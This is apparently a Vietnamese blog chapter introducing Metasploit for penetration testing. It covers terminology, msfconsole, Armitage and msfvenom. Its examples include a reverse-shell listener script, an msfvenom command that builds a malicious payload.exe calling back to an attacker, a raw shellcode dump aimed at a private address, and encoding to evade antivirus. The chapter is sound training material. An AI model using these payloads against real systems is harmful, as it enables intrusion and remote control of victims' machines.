2. CÁC THÀNH PHẦN NỀN TẢNG CỦA METASPLOIT

Khi bạn lần đầu tiếp xúc với Metasploit Framework, bạn có thể bị choáng ngợp bởi nhiều giao diện, tùy chọn, tiện ích, biến và mô-đun của nó. Trong chương này, chúng ta sẽ tập trung vào những điều cơ bản sẽ giúp bạn hiểu rõ bức tranh toàn cảnh. Chúng ta sẽ xem xét một số thuật ngữ kiểm tra thâm nhập và sau đó trình bày ngắn gọn các giao diện người dùng khác nhau mà Metasploit cung cấp. Bản thân Metasploit là phần mềm miễn phí, mã nguồn mở, với nhiều người đóng góp trong cộng đồng bảo mật, nhưng cũng có phiên bản thương mại trả phí (Metasploit Pro).

Khi bạn bắt đầu sử dụng Metasploit, điều quan trọng là đừng quá bận tâm đến việc thành thạo các khai thác mới nhất; thay vào đó, hãy tập trung vào cách Metasploit hoạt động và các lệnh bạn sử dụng để thực hiện các khai thác.

THUẬT NGỮ

Trong suốt tài liệu này này, chúng ta sẽ sử dụng các thuật ngữ kỹ thuật khác nhau. Ở đây, Security365 định nghĩa các thuật ngữ này trong ngữ cảnh của Metasploit, nhưng chúng thường được sử dụng theo cùng một cách trong toàn ngành bảo mật.

Khai thác (Exploit)

Khai thác là cách kẻ tấn công, hoặc pentester, lợi dụng lỗ hổng trong hệ thống, ứng dụng hoặc dịch vụ. Kẻ tấn công sử dụng khai thác để tấn công hệ thống theo cách dẫn đến kết quả mong muốn cụ thể mà nhà phát triển không bao giờ dự định. Các khai thác phổ biến bao gồm tràn bộ đệm, lỗ hổng ứng dụng web (như SQL injection) và lỗi cấu hình.

Tải trọng (Payload)

Tải trọng là mã mà chúng ta muốn hệ thống thực thi. Ví dụ: shell ngược là tải trọng tạo kết nối từ máy mục tiêu đến kẻ tấn công, cho phép kẻ tấn công điều khiển từ xa dấu nhắc lệnh trên máy mục tiêu (xem Chương 5), trong khi shell liên kết là tải trọng “liên kết” dấu nhắc lệnh với một cổng đang lắng nghe trên máy mục tiêu mà kẻ tấn công sau đó có thể kết nối. Tải trọng cũng có thể là một cái gì đó đơn giản như một vài lệnh được thực thi trên hệ điều hành mục tiêu. Bạn có thể chọn và phân phối các tải trọng khác nhau thông qua Framework.

Mã shell (Shellcode)

Mã shell là một tập hợp các lệnh được sử dụng làm tải trọng. Mã shell thường được viết bằng ngôn ngữ assembly. Trong hầu hết các trường hợp, một khi máy mục tiêu đã thực hiện chuỗi lệnh, nó sẽ cung cấp cho bạn một shell lệnh hoặc shell Meterpreter, do đó có tên như vậy.

Mô-đun (Module)

Mô-đun trong ngữ cảnh của cuốn sách này là một phần mềm có thể được sử dụng bởi Framework. Đôi khi, bạn có thể cần sử dụng mô-đun khai thác để thực hiện một cuộc tấn công. Vào những lúc khác, có thể cần một mô-đun phụ trợ để quét hoặc liệt kê một hệ thống. Các mô-đun có thể hoán đổi cho nhau này là cốt lõi của sức mạnh của Framework.

Bộ lắng nghe (Listener)

Bộ lắng nghe là một thành phần trong Metasploit đợi kết nối đến từ tải trọng. Ví dụ: sau khi máy mục tiêu bị khai thác, tải trọng có thể kết nối với máy tấn công qua internet. Bộ lắng nghe chạy trên máy tấn công xử lý kết nối từ hệ thống bị khai thác.

GIAO DIỆN METASPLOIT

Metasploit cung cấp một số giao diện cho chức năng cơ bản của nó, bao gồm bảng điều khiển, dòng lệnh và giao diện đồ họa. Ngoài ra, các tiện ích khác cung cấp quyền truy cập trực tiếp vào các chức năng thường là nội bộ của Metasploit Framework. Các tiện ích này có thể là vô giá đối với việc phát triển khai thác hoặc trong trường hợp bạn không cần toàn bộ Framework.

Tôi còn nhớ bài viết đầu tiên của mình trên PCWorld trước đây là “Tự Tấn Công Với Metasploit” vào đầu những năm 2000, và giao diện ngày đó là giao diện web chạy trên Windows, một nền tảng rất mới mẽ nhưng đầy thú vị.

MSFconsole

MSFconsole cho đến nay là phần phổ biến nhất của Metasploit Framework. Đây là một trong những công cụ linh hoạt nhất, giàu tính năng và được hỗ trợ tốt nhất trong Framework. MSFconsole cung cấp giao diện tất cả trong một tiện dụng cho hầu hết mọi tùy chọn và cài đặt có sẵn trong Framework; nó giống như một cửa hàng duy nhất cho tất cả những giấc mơ khai thác của bạn. Bạn có thể sử dụng MSFconsole để làm mọi thứ, bao gồm khởi chạy khai thác, tải mô-đun phụ trợ, thực hiện liệt kê hoặc tạo bộ lắng nghe.

Mặc dù Metasploit Framework liên tục thay đổi, nhưng một tập hợp con các lệnh vẫn tương đối không đổi. Bằng cách thành thạo những điều cơ bản của MSFconsole, bạn sẽ có thể theo kịp bất kỳ thay đổi nào. Để minh họa tầm quan trọng của việc học MSFconsole, chúng ta sẽ sử dụng chúng trong hầu hết mọi chương của cuốn sách này.

Để khởi chạy MSFconsole, hãy nhập msfconsole tại dòng lệnh. Bạn sẽ thấy banner khởi động của Metasploit, tiếp theo là dấu nhắc cho MSFconsole (msf >), có thể bao gồm số phiên bản. Đây là nơi bạn sẽ nhập các lệnh của mình:

      kali@kali:~$ sudo msfconsole < metasploit >
_((_))
) ( _))
/ -_, )\( / .
\_/ \_/ | \ /
`-' \ )
| /
/ \
/ /
/ \
/ /
/ )
/ /
/ /
/______)


I love Security365


msf6 >

Nếu hệ điều hành của bạn không bao gồm MSFconsole trong đường dẫn mặc định, bạn sẽ cần điều hướng đến thư mục chứa tệp nhị phân MSFconsole trước khi khởi chạy nó.

Để truy cập các tệp trợ giúp của MSFconsole, hãy nhập help theo sau là lệnh bạn quan tâm. Ví dụ: bạn có thể tìm kiếm thông tin về lệnh connect, cho phép chúng ta giao tiếp với máy chủ:

      msf6 > help connect

Usage: connect <host> [port] <options>
    

Kết quả lệnh sẽ liệt kê cách sử dụng, mô tả về công cụ và các cờ tùy chọn khác nhau. Chúng ta sẽ khám phá MSFconsole chi tiết hơn trong các chương tiếp theo.

Tập lệnh tài nguyên (Resource Scripts)

Tập lệnh tài nguyên là các chương trình ngắn chứa các lệnh Metasploit và mã Ruby. Thay vì nhập thủ công các lệnh trong MSFconsole, bạn có thể chạy tập lệnh tài nguyên chứa các lệnh bạn muốn thực thi. Đây là một cách tuyệt vời để tự động hóa một tác vụ hoặc tương tác với các công cụ dòng lệnh khác.

Hãy xem một ví dụ về tập lệnh tài nguyên khởi động bộ lắng nghe trên cổng 443:

      use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <địa chỉ IP của kẻ tấn công>
set LPORT 443
exploit
    

Trên dòng đầu tiên, lệnh use chọn mô-đun Metasploit để sử dụng. Ở đây, chúng ta chọn mô-đun handler được lưu trữ trong thư mục exploit/multi. Mô-đun này chấp nhận (xử lý) các kết nối đến từ tải trọng chạy trên máy của mục tiêu.

Tiếp theo, chúng ta sử dụng lệnh set để chỉ định tải trọng: shell reverse_tcp, cho mô-đun handler biết loại kết nối nào sẽ được mong đợi. Trong trường hợp này, mô-đun sẽ mong đợi kết nối TCP từ shell Meterpreter chạy trên máy của mục tiêu.

Trên hai dòng tiếp theo, chúng ta chỉ định địa chỉ IP và cổng của máy pentester bằng các lệnh LHOST (máy chủ lắng nghe) và LPORT (cổng lắng nghe). Các lệnh này cho tải trọng biết máy và cổng nào sẽ kết nối. Do đó, chúng ta đang nói với bộ lắng nghe hãy lắng nghe các kết nối đến trên cổng 443 của máy của chúng ta.

Bạn có thể tạo tập lệnh tài nguyên như thế này bằng bất kỳ trình soạn thảo văn bản nào. Sau khi bạn đã lưu tập lệnh, hãy chạy nó bằng cờ -r và chuyển đường dẫn đến tập lệnh:

      kali@kali:~$ sudo msfconsole -r ~/Desktop/start_listener.rc
    

Security365 khuyên bạn nên làm quen với các tập lệnh và những gì chúng có thể thực hiện.

Armitage và Cobalt Strike

Armitage là giao diện người dùng đồ họa tương tác đầy đủ được tạo bởi Raphael Mudge. Giao diện này rất ấn tượng, giàu tính năng và miễn phí. Ngoài ra còn có phiên bản thương mại của Armitage có tên là Cobalt Strike. Chúng tôi sẽ không đề cập đến Armitage hoặc Cobalt Strike một cách chi tiết, nhưng bạn có thể muốn tự mình khám phá các công cụ này. Tuy nhiên, hãy nhớ rằng dự án Armitage không còn được duy trì nữa. Để truy cập phiên bản được duy trì, bạn sẽ cần phải trả tiền cho Cobalt Strike.

Tôi còn nhớ trước đây khi được mời tham dự Security BootCamp 20214 tại Đà Năng do không có nhiều thời gian chuẩn bị tôi đã giới thiệu về demo một bài Tấn Công tự D(ộng Với Armitage và khá nhiều bạn trẻ yêu thích chức năng này. Nếu các bạn muốn tìm hiểu hay xem qua về Armitage trên Kali Linux trong một bài học của khóa CEH tại đây

TIỆN ÍCH METASPLOIT

Chúng ta đã đề cập đến ba giao diện chính của Metasploit, đã đến lúc đề cập đến một vài tiện ích. Các tiện ích của Metasploit là các giao diện trực tiếp đến các tính năng của Framework có thể hữu ích trong các tình huống cụ thể, đặc biệt là trong việc phát triển khai thác. Chúng ta sẽ đề cập đến một số tiện ích dễ tiếp cận hơn ở đây và giới thiệu thêm các tiện ích khác trong suốt cuốn sách.

MSFvenom

Thành phần MSFvenom của Metasploit cho phép bạn tạo mã shell, tệp thực thi và nhiều thứ khác để sử dụng trong các khai thác bên ngoài Framework. Nó có thể tạo mã shell bằng nhiều ngôn ngữ, bao gồm C, Ruby, JavaScript và thậm chí cả Visual Basic for Applications. Ví dụ: nếu bạn đang viết khai thác bằng Python, bạn sẽ chọn tùy chọn đầu ra Python, nhưng nếu bạn đang làm việc trên khai thác trình duyệt, đầu ra JavaScript có thể là tốt nhất.

Để xem các tùy chọn mà tiện ích sử dụng, hãy nhập như sau tại dòng lệnh:

      kali@kali:~$ sudo msfvenom -h

Ví dụ sau đây tạo một tệp thực thi độc hại kết nối với bộ lắng nghe mà chúng ta đã tạo trước đó trên máy Kali của kẻ tấn công bằng tập lệnh tài nguyên:

      kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<địa chỉ IP của kẻ tấn công> -f exe -o payload.exe
    

Tùy chọn -p chỉ định loại tải trọng sẽ sử dụng. Trong trường hợp này, chúng ta đang sử dụng shell Meterpreter kết nối với trình xử lý thông qua kết nối TCP ngược. Tùy chọn LHOST chỉ định máy chủ lắng nghe, tùy chọn -f chỉ định loại đầu ra (ở đây, chúng ta đang chọn xuất ra một tệp thực thi) và cờ -o chỉ định tên của tệp (payload.exe).

Khi người dùng nhấp vào tệp payload.exe kết quả, shell ngược sẽ kích hoạt và kết nối với bộ lắng nghe đang chạy trên máy Kali. Sau khi kết nối được thiết lập, kẻ xâm nhập sẽ có thể điều khiển từ xa máy của mục tiêu.

Ví dụ trước đã tạo ra một tệp thực thi. Tuy nhiên, nếu bạn muốn tạo, giả sử, một đoạn mã C để được đưa vào khai thác mà bạn đang phát triển, bạn sẽ chọn tùy chọn c:

      kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.203 LPORT=443 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x01\x65\x68"
"\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x50\x50\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x85\xc0\x75\x58\x31\xf6\x56"
"\x5a\x43\x31\xc9\x68\x75\x65\x72\x41\x68\x32\x30\x32\x30\x68"
"\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54"
"\x50\x31\xd2\x68\x3e\x3e\x20\x4b\x68\x42\x72\x6f\x61\x68\x44"
"\x53\x5f\x31\x52\x52\x52\x52\x55\x57\x57\x57\x57\x57\x68\x57"
"\x4e\x51\x57\x68\x4e\x45\x54\x57\x57\x57\x57\x57\x68\x57\x57"
"\x58\x57\x57\x57\x57\x57\x68\x57\x57\x57\x57\x57\x57\x57\x57"
"\xff\xd0\xff\xd7"

Final size of c file: 1512 bytes
    

Mã shell do MSFvenom tạo ra có đầy đủ chức năng, nhưng nó có thể chứa một số ký tự null. Ví dụ: x00 có thể biểu thị phần cuối của một chuỗi. Điều này có thể khiến mã kết thúc trước khi hoàn thành. Những ký tự x00 và xff đó có thể làm hỏng tải trọng của bạn!

Ngoài ra, mã shell đi qua mạng ở dạng văn bản rõ ràng có thể bị các hệ thống phát hiện xâm nhập (IDS) và phần mềm diệt virus phát hiện, chúng nhận ra mẫu giá trị hex trong tải trọng. May mắn thay, MSFvenom giúp bạn tránh khỏi phần mềm diệt virus và IDS bằng cách mã hóa tải trọng ban đầu theo cách không bao gồm các ký tự “xấu” và tạo ra các mẫu hex duy nhất. Chúng ta sẽ đề cập đến các kỹ thuật mã hóa này trong Chương 7.

Metasploit chứa một số bộ mã hóa khác nhau cho các tình huống cụ thể. Một số sẽ hữu ích khi bạn chỉ có thể sử dụng các ký tự chữ và số như một phần của tải trọng, như trường hợp của nhiều khai thác định dạng tệp hoặc khi nhắm mục tiêu các ứng dụng chỉ chấp nhận các ký tự có thể in làm đầu vào. Những cái khác là bộ mã hóa đa năng tuyệt vời hoạt động tốt trong mọi tình huống.

Tuy nhiên, bạn có thể dùng bộ mã hóa x86/shikata_ga_nai để làm cho các tải trọng khó bị dò tìm hơn, đây là bộ mã hóa duy nhất trong Metasploit có xếp hạng Xuất sắc. Xếp hạng trong Metasploit là thước đo độ tin cậy và ổn định của mô-đun. Trong ngữ cảnh của bộ mã hóa, xếp hạng Xuất sắc ngụ ý rằng nó là một trong những bộ mã hóa linh hoạt nhất và có thể chứa mức độ tinh chỉnh cao hơn so với các bộ mã hóa khác. Để xem danh sách các bộ mã hóa có sẵn, hãy thêm -l vào msfvenom, theo sau là loại mô-đun bạn muốn liệt kê:

      kali@kali:~$ msfvenom -l encoder
    

Chúng ta sẽ đi sâu hơn vào MSFvenom khi chúng ta khám phá việc phát triển khai thác trong các chương sau.

NASM Shell

Tiện ích nasm_shell.rb có thể hữu ích khi bạn đang cố gắng hiểu mã assembly, đặc biệt nếu trong quá trình phát triển khai thác, bạn cần xác định các mã op (lệnh assembly) cho một lệnh assembly nhất định.

Ví dụ: ở đây chúng ta chạy công cụ và yêu cầu các mã op cho lệnh jmp esp:

      kali@kali:/usr/share/metasploit-framework/tools/exploits/nasm_shell.rb$ jmp esp
00000000  FFE4                                                        jmp esp
    

Tiện ích cho chúng ta biết các mã op này là FFE4.

Metasploit Pro

Metasploit Pro là giao diện web thương mại cho Metasploit Framework. Các tiện ích của nó cung cấp khả năng tự động hóa đáng kể và giúp mọi thứ dễ dàng hơn cho người dùng mới. Ngoài ra, công cụ báo cáo trong Metasploit Pro có thể tăng tốc một trong những khía cạnh ít phổ biến nhất của kiểm tra thâm nhập: viết báo cáo.

Công cụ này có đáng mua không? Chỉ có bạn mới có thể đưa ra lựa chọn đó. Phiên bản thương mại của Metasploit dành cho các chuyên gia kiểm tra thâm nhập chuyên nghiệp và có thể giảm bớt nhiều khía cạnh thường xuyên hơn của công việc. Nếu việc tiết kiệm thời gian từ tự động hóa hữu ích cho bạn, chúng có thể đáng giá, hoặc bạn đang kiếm tiền một cách chuyên nghiệp từ Kiểm thử bảo mật thì việc dùng các bản trả phí là điều đương nhiên, nếu không muốn vi phạm các điều khoản trong ROE, SOW ….

TỔNG KẾT

Trong chương này, bạn đã tìm hiểu một chút về những điều cơ bản của Metasploit Framework. Khi bạn đọc tiếp cuốn sách này, bạn sẽ bắt đầu sử dụng các công cụ này với khả năng nâng cao. Bạn cũng sẽ tìm thấy một vài cách khác nhau để thực hiện cùng một tác vụ và sẽ học cách quyết định công cụ nào phù hợp nhất với nhu cầu của bạn.

Lưu ý rằng vị trí và tên đường dẫn cho các công cụ khác nhau được hiển thị ở đây có thể thay đổi trong các phiên bản Kali mới hơn và sẽ trông khác nhau trên các hệ điều hành khác, nhưng các khái niệm cơ bản vẫn giữ nguyên. Bạn có thể cập nhật các bản phát hành Metasploit và Kali mới nhất bằng cách truy cập
https://docs.rapid7.com/release-notes/metasploit/

https://www.kali.org/releases/.

Bây giờ bạn đã nắm vững những điều cơ bản, chúng ta hãy chuyển sang giai đoạn tiếp theo của quá trình kiểm tra thâm nhập: khám phá.

Và nếu như các bạn muốn tham khảo đầy đủ hơn tài liệu này có thể tham gia 1 khóa học “metasploit cheap price” tại đây.

Bình luận về bài viết này

Thịnh hành